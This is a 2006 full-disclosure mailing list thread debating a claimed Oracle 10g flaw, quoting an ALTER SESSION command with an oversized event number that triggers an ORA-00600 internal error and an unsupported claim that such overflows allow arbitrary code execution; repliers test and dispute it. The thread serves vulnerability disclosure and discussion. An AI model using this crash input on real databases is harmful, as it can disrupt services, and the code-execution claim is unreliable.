full-disclosure - Re: Oracle 10g R2 and, probably, all previous versions

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Date: Fri, 28 Jul 2006 14:53:06 -0400
From: rjamya <rjamya@...il.com>
To: "Russell Lowenthal" <perpetualv@...oo.com>
Cc: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk,
	hasecorp@...mail.com
Subject: Re: Oracle 10g R2 and, probably,
	all previous versions

Russell,

you have a syntax error, you need a comma before LEVEL.

Raj

On 7/28/06, Russell Lowenthal <perpetualv@...oo.com> wrote:
> Interesting comment. So if I understand what you are
> saying I should be able to create a user:
>
> SQL> create user nottoosmart identified by
> d0ntkn0wmuch;
>
> User created.
>
> SQL> grant create session to nottoosmart;
>
> Grant succeeded.
>
> SQL> connect nottoosmart/d0ntkn0wmuch
> Connected.
> SQL> alter session set events '10046 trace name
> context forever level 16';
> ERROR:
> ORA-01031: insufficient privileges
>
> Hmm - would you mind posting your EXACT test case? I
> ran this against a 9.2.0.7, 10.2.0.1 and 10.2.0.2
> database and seem to get different results then you
> are seeing.  Just for the heck of it I went ahead and
> granted the user alter session privileges:
>
> SQL> conn / as sysdba
> Connected.
> SQL> grant alter session to nottoosmart;
>
> Grant succeeded.
>
> SQL> connect nottoosmart/d0ntkn0wmuch
> Connected.
> SQL> alter session set events '10046 trace name
> context forever level 16';
> ERROR:
> ORA-02194: event specification syntax error 230 (minor
> error 215) near 'LEVEL'
>
> so even a user that I've purposely given privileges to
> alter their own session doesn't seem to be able to do
> anything with this command.
>
> So far I have to call this myth: Busted
>
> ---Original message----
> I can't believe it. Oracle releases new patches and
> they have not been solved one of the main problems: A
> user with only the SELECT privilege can do WHATEVER
> (S)HE WANTS WITH THE ENTIRE DATABASE!!!!
>
> I'm not sure if is time to full disclosure it but,
> anyway, I will "full disclosure" one inocent issue, an
> integer overflow:
>
> Example:
> --Connect with any user with only CREATE SESSION
> SQL> alter session set events '10046 trace name
> context forever, level
> SQL> 16';
>
> Session altered.
>
> SQL> alter session set events
> '10046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004
> 61004610046100461004610046100461004610046100461004610046100461004610046100461004610046trace
> name context forever, level 16';
> ERROR:
> ORA-00600: internal error code, arguments: [300],
> [985], [], [], [], [], [], []
>
>
> It's not even a crash but (be sure) that there are
> other "combinations" that makes it vulnerable to
> integer overflows allowing the execution of arbritrary
> code.
>
> PD: Hello Mary Ann! Are you on holidays?
>
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